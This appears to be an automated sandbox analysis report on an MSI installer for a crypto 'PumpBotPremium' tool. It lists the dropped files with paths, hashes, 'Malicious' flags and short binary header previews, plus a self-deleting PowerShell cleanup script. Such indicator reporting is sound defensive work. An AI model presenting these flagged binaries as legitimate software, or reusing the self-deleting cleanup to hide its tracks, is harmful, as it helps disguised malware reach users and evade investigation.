                                                                                                                                                                                                                                                SHA-512:5F9142B16ED7FFC0E5B17D6A4257D7249A21061FE5E928D3CDE75265C2B87B723B2E7BD3109C30D2C8F83913134445E8672C98C187073368C244A476AC46C3EF
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N$z./J)./J)./J).W.)./J).ZK(./J).ZO(./J).ZN(./J).ZI(./J)YZK(./J).DK(./J)./K)./J)YZG(./J)YZJ(./J)YZ.)./J)YZH(./J)Rich./J)................PE..d....O[a.........." .....B..........`*.......................................@............`.............................................X...h........ .......................0......0L..T............................L..8............`..x............................text....A.......B.................. ..`.rdata.......`.......F..............@..@.data...............................@....pdata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\vcruntime140.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):97160
                                                                                                                                                                                                                                                Entropy (8bit):6.422776154074499
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1536:yDHLG4SsAzAvadZw+1Hcx8uIYNUzUnHg4becbK/zJrCT:yDrfZ+jPYNznHg4becbK/Fr
                                                                                                                                                                                                                                                MD5:11D9AC94E8CB17BD23DEA89F8E757F18
                                                                                                                                                                                                                                                SHA1:D4FB80A512486821AD320C4FD67ABCAE63005158
                                                                                                                                                                                                                                                SHA-256:E1D6F78A72836EA120BD27A33AE89CBDC3F3CA7D9D0231AAA3AAC91996D2FA4E
                                                                                                                                                                                                                                                SHA-512:AA6AFD6BEA27F554E3646152D8C4F96F7BCAAA4933F8B7C04346E410F93F23CFA6D29362FD5D51CCBB8B6223E094CD89E351F072AD0517553703F5BF9DE28778
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*..qn.."n.."n.."...#l.."g.."e.."n.."B.."<..#c.."<..#~.."<..#q.."<..#o.."<.g"o.."<..#o.."Richn.."................PE..d....(.`.........." .........`......p.....................................................`A.........................................B..4....J...............p..X....X...#..........h,..T............................,..8............................................text............................... ..`.rdata...@.......B..................@..@.data...@....`.......@..............@....pdata..X....p.......D..............@..@_RDATA...............P..............@..@.rsrc................R..............@..@.reloc...............V..............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\vcruntime140_1.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):37256
                                                                                                                                                                                                                                                Entropy (8bit):6.2987721506649335
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:384:5InvMCmWEyhUcSLt5a9k6KrOE5fY/ntz5txWE6Wc+XfbmuncS74GdWrUKWj14gHg:dCm5yhUcwrHY/ntTxT6ovR7VxIV1z
                                                                                                                                                                                                                                                MD5:7667B0883DE4667EC87C3B75BED84D84
                                                                                                                                                                                                                                                SHA1:E6F6DF83E813ED8252614A46A5892C4856DF1F58
                                                                                                                                                                                                                                                SHA-256:04E7CCBDCAD7CBAF0ED28692FB08EAB832C38AAD9071749037EE7A58F45E9D7D
                                                                                                                                                                                                                                                SHA-512:968CBAAFE416A9E398C5BFD8C5825FA813462AE207D17072C035F916742517EDC42349A72AB6795199D34CCECE259D5F2F63587CFAEB0026C0667632B05C5C74
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......D_.O.>...>...>...N...>..RK...>...F^..>...>..1>..RK...>..RK...>..RK...>..RK...>..RK2..>..RK...>..Rich.>..........................PE..d....(.`.........." .....:...6......`A....................................................`A.........................................l.......m..x....................n...#......<...(b..T............................b..8............P..X............................text...e9.......:.................. ..`.rdata.. "...P...$...>..............@..@.data... ............b..............@....pdata...............d..............@..@.rsrc................h..............@..@.reloc..<............l..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\win32crypt.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):123904
                                                                                                                                                                                                                                                Entropy (8bit):5.965293722751848
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:Nz7lVQlgMZhNKMiZj6f9XCqrN5dolqF7Ea:Nz7+gMnNbqQh5Wlk7
                                                                                                                                                                                                                                                MD5:ACC2C2A7DD9BA8603AC192D886FF2ACE
                                                                                                                                                                                                                                                SHA1:EAE213D0B86A7730161D8CC9568D91663948C638
                                                                                                                                                                                                                                                SHA-256:4805C4903E098F0AE3C3CBEBD02B44DF4D73AB19013784F49A223F501DA3C853
                                                                                                                                                                                                                                                SHA-512:23B97707843D206833E7D4F0DFCAD79A597DE0867BAB629026DD26BFF9F1C640BB4CD1BC6BCE7ABE48353FEAC8C367E93EA7B15425D6FF8B1AEA07A716F5E491
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................J.........................................`..............................................Rich............PE..d......d.........." ......................................................... ............`..........................................o..................d.......................H....G..T............................H..8............................................text............................... ..`.rdata..............................@..@.data....-.......(..................@....pdata..............................@..@.rsrc...d...........................@..@.reloc..H...........................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60657664
                                                                                                                                                                                                                                                Entropy (8bit):7.998926359127934
                                                                                                                                                                                                                                                Encrypted:true
                                                                                                                                                                                                                                                SSDEEP:1572864:OZXx6Ltn72vM/a4cz6Q1mbg12hpEM6O4w:OT6LxSTag12hpYO4
                                                                                                                                                                                                                                                MD5:65A50EBD00840753BA72C425D692E72E
                                                                                                                                                                                                                                                SHA1:8D4DED8577600F8C67FC430040FCE0442C4781D1
                                                                                                                                                                                                                                                SHA-256:B24C19B43466F6AC251E11877EC59A0DE5CB12C19B277D037A10046B45EE5944
                                                                                                                                                                                                                                                SHA-512:2B2B5C24360EF6B207D8D99AFBD8F8AD596A4A4C5D46827CF90B8882C171797588E4C74DE9AA4F03DDA26ADB1E23FCDCD7165EB66DC3F696EDC304AC0CBB2021
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...9..e...............)............%..........@..........................................`... ..............................................0..x....`.........................................................(...................H3...............................text...............................`..`.data...............................@....rdata..`*.......,..................@..@.eh_fram............................@....pdata..............................@..@.xdata....... ......................@..@.bss....p....0...........................idata..x....0......................@....CRT....`....@......................@....tls.........P......................@....rsrc........`......................@..@.reloc.............................@..B................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exe

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):892416
                                                                                                                                                                                                                                                Entropy (8bit):6.410828209620259
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:5yG2Npmq8CQ/U8nPC4Q23akLoImMTLg5TfH9IPuh5XOOyR3NZ4:cjoU8ndLoIrTLKTf0uh5ZylNZ4
                                                                                                                                                                                                                                                MD5:6BE93FD0684F69F0FA34E68B750CF23E
                                                                                                                                                                                                                                                SHA1:80CBCE40A62B1EE4C0BBD472FFF78A1644AAB5C2
                                                                                                                                                                                                                                                SHA-256:C96BA812D168C457CBF82919E98213061F89AEDEE4ABC09A437E9D43187A4199
                                                                                                                                                                                                                                                SHA-512:C8285F8D8E98D2FCE06414B009CC6517A8634DCCC4EE40DD78D3A0D4000CE0B92654E5765F39EBEDC2F8F0639AFE1D3409FED9072AEA421BCB3CD99F7512D9BD
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A}%R .vR .vR .v.R.w_ .v.R.w. .v.\.wA .v.\.wK .v.R.wI .v.\.w5 .v.R.wS .v.R.wK .vR .v.!.v.].w. .v.].vS .vR .vS .v.].wS .vRichR .v................PE..L....+Jd.........."....#............%.............@..........................0......m.....@.................................`G......................................X ..p....................!......(...@....................A.......................text............................... ..`.rdata..r~..........................@..@.data....q...`.......H..............@....rsrc................`..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.ini

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):1476
                                                                                                                                                                                                                                                Entropy (8bit):3.4926134839308047
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:24:Q+xMrxwq+8JrxwqEOVvrxwqqEolkWTZTa2rxwqqE/rGF7rxwqfzv:rxMtmotPvt6kWdm2tpo7tD
                                                                                                                                                                                                                                                MD5:0C56C35AD671CB7E04C9D240922B2713
                                                                                                                                                                                                                                                SHA1:53C5883AE1F0AFDBBDFD1F9CEB362BFAA4BF7437
                                                                                                                                                                                                                                                SHA-256:D899AED1360F209BFBCAD38D2D4B1E1EA6D6725EBE9B7A1ADEC1E52FA61FFD9B
                                                                                                                                                                                                                                                SHA-512:76363E0BD57475CFA825880B24C70AE30913D3D2FFF79C235D4B91A72799A8BEE21EE8EE7B581095A5F13D8F12A00DBF4962AE05A2A043E78C6AAAA41A0DBCF2
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:..[.G.e.n.e.r.a.l.O.p.t.i.o.n.s.].....O.p.t.i.o.n.s.=.b.h.....D.o.w.n.l.o.a.d.F.o.l.d.e.r.=.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.C.o.i.n.s.w...a.p.p.\.P.u.m.p.B.o.t.P.r.e.m.i.u.m.\.p.r.e.r.e.q.u.i.s.i.t.e.s.\.....E.x.t.r.a.c.t.i.o.n.F.o.l.d.e.r.=.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.C.o.i.n.s.w...a.p.p.\.P.u.m.p.B.o.t.P.r.e.m.i.u.m.\.p.r.e.r.e.q.u.i.s.i.t.e.s.\.....[.P.R.E.R.E.Q.U.I.S.I.T.E.S.].....A.p.p.1.=.B.l.o.c.k.c.h.a.i.n.C.o.n.n.e.c.t.o.r.....[.A.p.p.1.].....S.e.t.u.p.F.i.l.e.=.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.C.o.i.n.s.w...a.p.p.\.P.u.m.p.B.o.t.P.r.e.m.i.u.m.\.p.r.e.r.e.q.u.i.s.i.t.e.s.\.B.l.o.c.k.c.h.a.i.n.C.o.n.n.e.c.t.o.r.\.B.l.o.c.k.c.h.a.i.n.C.o.n.n.e.c.t.o.r...e.x.e.....B.a.s.i.c.U.i.C.o.m.m.a.n.d.L.i.n.e.=./.s.....N.o.U.i.C.o.m.m.a.n.d.L.i.n.e.=./.s.....O.p.t.i.o.n.s.=.i.p.....[.P.R.E.R.E.Q._.C.H.A.I.N.E.R.].....C.l.e.a.n.u.p.F.i.l.e.s.=.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\file_deleter.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):23157
                                                                                                                                                                                                                                                Entropy (8bit):6.0243033942126525
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:384:gsgQpJjMUmMZYvqsB9tq5Pr056H46ftIj3OD1uz9p/fO7ywaX:eQpJjMUOvdEYSFIzpN6gX
                                                                                                                                                                                                                                                MD5:54A3795308331741EBDC2B0B754EF911
                                                                                                                                                                                                                                                SHA1:4D49846CF892E0B7DABC8407C1F8B0459994951C
                                                                                                                                                                                                                                                SHA-256:27545C48DFE53E90915094E4E033E344E316D43832C954851640B7886E97828E
                                                                                                                                                                                                                                                SHA-512:E00678822BCC457CD1ADFEF44EF25D734986F1F7B23AB3582D3968EEF38C70A91CB1B11F933DA2EA31324A553127EDA9D76DA87B0DCB6E79C66E2356C81DB309
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:param(.. [Parameter(Mandatory = $true)].. [string[]]$paths,.. [int]$retry_count = 0..)....# Delete paths using parallel jobs. ..$jobs = $paths | ForEach-Object {.. Start-Job -ScriptBlock {.. param(.. [string]$path,.. [int]$retry_count = 0.. ).... if (Test-Path -LiteralPath $path) {.. $count = 0.. while ($true) {.. Remove-Item -LiteralPath $path -Force.. if (-not (Test-Path -LiteralPath $path) -or ($count -ge $retry_count)) {.. return;.. }.. $count++.. Start-Sleep -s 5 #sleep 5 seconds.. } .. }.. } -ArgumentList $_, $retry_count ..}....# Wait for the delete jobs to finish..Wait-Job -Job $jobs....# Self delete..Remove-Item -Path $MyInvocation.MyCommand.Source....# SIG # Begin signature block..# MII9SwYJKoZIhvcNAQcCoII9PDCCPTgCAQExDzANBglghkgBZQMEAgEFADB5Bgor..# BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMC

                                                                                                                                                                                                                                                C:\Windows\Installer\5c7177.msi

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {7FFEF896-5843-4272-ACBA-A4977C267D92}, Number of Words: 2, Subject: PumpBotPremium, Author: Coinsw.app, Name of Creating Application: PumpBotPremium, Template: ;1033, Comments: This installer database contains the logic and data required to install PumpBotPremium., Title: Installation Database, Keywords: Installer, MSI, Database, Create Time/Date: Tue Mar 5 02:13:07 2024, Number of Pages: 200
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):63906816
                                                                                                                                                                                                                                                Entropy (8bit):7.9808529892837035
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1572864:9ZXx6Ltn72vM/a4cz6Q1mbg12hpEM6O4w:9T6LxSTag12hpYO4
                                                                                                                                                                                                                                                MD5:9F08612018C349C8C6A27805064E34C6
                                                                                                                                                                                                                                                SHA1:75C97A2A7F4DBAD493239110D8695DF62C84FE0D
                                                                                                                                                                                                                                                SHA-256:C6309489B3F61E00EC320DB6C0E6FFD2875A3F94F86EE00B30946FA6BA535551
                                                                                                                                                                                                                                                SHA-512:8A0BB48E44DA2AD9EFC656E9E35EB5C9A3948BAFFEA33241A2E9932F3E5E30786600E746494E0A105DB06550DEF0364E0356EC7F3EA1034D913468C82B369DCC
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:......................>...........................................v....................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Installer\5c717a.msi

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, MSI Installer, Last Printed: Fri Dec 11 11:47:44 2009, Last Saved Time/Date: Fri Sep 18 15:06:51 2020, Security: 0, Code page: 1252, Revision Number: {7FFEF896-5843-4272-ACBA-A4977C267D92}, Number of Words: 2, Subject: PumpBotPremium, Author: Coinsw.app, Name of Creating Application: PumpBotPremium, Template: ;1033, Comments: This installer database contains the logic and data required to install PumpBotPremium., Title: Installation Database, Keywords: Installer, MSI, Database, Create Time/Date: Tue Mar 5 02:13:07 2024, Number of Pages: 200
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):63906816
                                                                                                                                                                                                                                                Entropy (8bit):7.9808529892837035
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1572864:9ZXx6Ltn72vM/a4cz6Q1mbg12hpEM6O4w:9T6LxSTag12hpYO4
                                                                                                                                                                                                                                                MD5:9F08612018C349C8C6A27805064E34C6
                                                                                                                                                                                                                                                SHA1:75C97A2A7F4DBAD493239110D8695DF62C84FE0D
                                                                                                                                                                                                                                                SHA-256:C6309489B3F61E00EC320DB6C0E6FFD2875A3F94F86EE00B30946FA6BA535551
                                                                                                                                                                                                                                                SHA-512:8A0BB48E44DA2AD9EFC656E9E35EB5C9A3948BAFFEA33241A2E9932F3E5E30786600E746494E0A105DB06550DEF0364E0356EC7F3EA1034D913468C82B369DCC
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:......................>...........................................v....................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Installer\MSI7B99.tmp

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):601920
                                                                                                                                                                                                                                                Entropy (8bit):6.469032452979565
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:g+zdBoU6TPAjp66Ulgc2zGz5gCxOWIGvn:HBoBTopk1QGz53sWIGvn
                                                                                                                                                                                                                                                MD5:CADBCF6F5A0199ECC0220CE23A860D89
                                                                                                                                                                                                                                                SHA1:073C149D68916520AEA882E588AB9A5AE083D75A
                                                                                                                                                                                                                                                SHA-256:42EF18C42FE06709F3C86157E2270358F3C93D14BE2E173B8FAE8EDCEFDDFCA0
                                                                                                                                                                                                                                                SHA-512:CEBB128BDC04E6B29DF74BEDCC375A340AC037563D828AF3455DE41F31D2E464F82F85C97CA9910A4A7C819EFA906AA4A4560174F184CEE316F53E3D2B5CDCCC
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L...R+Jd.........."!...#.<...........W.......P...............................0......5R....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Installer\MSI7BF7.tmp

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):601920
                                                                                                                                                                                                                                                Entropy (8bit):6.469032452979565
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:g+zdBoU6TPAjp66Ulgc2zGz5gCxOWIGvn:HBoBTopk1QGz53sWIGvn
                                                                                                                                                                                                                                                MD5:CADBCF6F5A0199ECC0220CE23A860D89
                                                                                                                                                                                                                                                SHA1:073C149D68916520AEA882E588AB9A5AE083D75A
                                                                                                                                                                                                                                                SHA-256:42EF18C42FE06709F3C86157E2270358F3C93D14BE2E173B8FAE8EDCEFDDFCA0
                                                                                                                                                                                                                                                SHA-512:CEBB128BDC04E6B29DF74BEDCC375A340AC037563D828AF3455DE41F31D2E464F82F85C97CA9910A4A7C819EFA906AA4A4560174F184CEE316F53E3D2B5CDCCC
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L...R+Jd.........."!...#.<...........W.......P...............................0......5R....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Installer\MSI7C27.tmp

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):601920
                                                                                                                                                                                                                                                Entropy (8bit):6.469032452979565
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:g+zdBoU6TPAjp66Ulgc2zGz5gCxOWIGvn:HBoBTopk1QGz53sWIGvn
                                                                                                                                                                                                                                                MD5:CADBCF6F5A0199ECC0220CE23A860D89
                                                                                                                                                                                                                                                SHA1:073C149D68916520AEA882E588AB9A5AE083D75A
                                                                                                                                                                                                                                                SHA-256:42EF18C42FE06709F3C86157E2270358F3C93D14BE2E173B8FAE8EDCEFDDFCA0
                                                                                                                                                                                                                                                SHA-512:CEBB128BDC04E6B29DF74BEDCC375A340AC037563D828AF3455DE41F31D2E464F82F85C97CA9910A4A7C819EFA906AA4A4560174F184CEE316F53E3D2B5CDCCC
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L...R+Jd.........."!...#.<...........W.......P...............................0......5R....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Installer\MSI7C48.tmp

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):601920
                                                                                                                                                                                                                                                Entropy (8bit):6.469032452979565
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:g+zdBoU6TPAjp66Ulgc2zGz5gCxOWIGvn:HBoBTopk1QGz53sWIGvn
                                                                                                                                                                                                                                                MD5:CADBCF6F5A0199ECC0220CE23A860D89
                                                                                                                                                                                                                                                SHA1:073C149D68916520AEA882E588AB9A5AE083D75A
                                                                                                                                                                                                                                                SHA-256:42EF18C42FE06709F3C86157E2270358F3C93D14BE2E173B8FAE8EDCEFDDFCA0
                                                                                                                                                                                                                                                SHA-512:CEBB128BDC04E6B29DF74BEDCC375A340AC037563D828AF3455DE41F31D2E464F82F85C97CA9910A4A7C819EFA906AA4A4560174F184CEE316F53E3D2B5CDCCC
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L...R+Jd.........."!...#.<...........W.......P...............................0......5R....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Installer\MSI7C87.tmp

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):601920
                                                                                                                                                                                                                                                Entropy (8bit):6.469032452979565
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:g+zdBoU6TPAjp66Ulgc2zGz5gCxOWIGvn:HBoBTopk1QGz53sWIGvn
                                                                                                                                                                                                                                                MD5:CADBCF6F5A0199ECC0220CE23A860D89
                                                                                                                                                                                                                                                SHA1:073C149D68916520AEA882E588AB9A5AE083D75A
                                                                                                                                                                                                                                                SHA-256:42EF18C42FE06709F3C86157E2270358F3C93D14BE2E173B8FAE8EDCEFDDFCA0
                                                                                                                                                                                                                                                SHA-512:CEBB128BDC04E6B29DF74BEDCC375A340AC037563D828AF3455DE41F31D2E464F82F85C97CA9910A4A7C819EFA906AA4A4560174F184CEE316F53E3D2B5CDCCC
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......|.J.8.$.8.$.8.$...'.5.$...!.$.. .).$..'./.$..!.r.$... .!.$...".9.$...%...$.8.%.$...-.R.$...$.9.$.....9.$.8...9.$...&.9.$.Rich8.$.........................PE..L...R+Jd.........."!...#.<...........W.......P...............................0......5R....@..........................W..d....a..,.......................@=...... h......p..............................@............P..l............................text....:.......<.................. ..`.rdata..:,...P.......@..............@..@.data... %...........n..............@....rsrc................~..............@..@.reloc.. h.......j..................@..B........................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Windows\Installer\MSI7CB7.tmp

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\msiexec.exe
                                                                                                                                                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):726848
                                                                                                                                                                                                                                                Entropy (8bit):6.456117102365696
                                                                                                                                                                                                                                                Encrypted:false
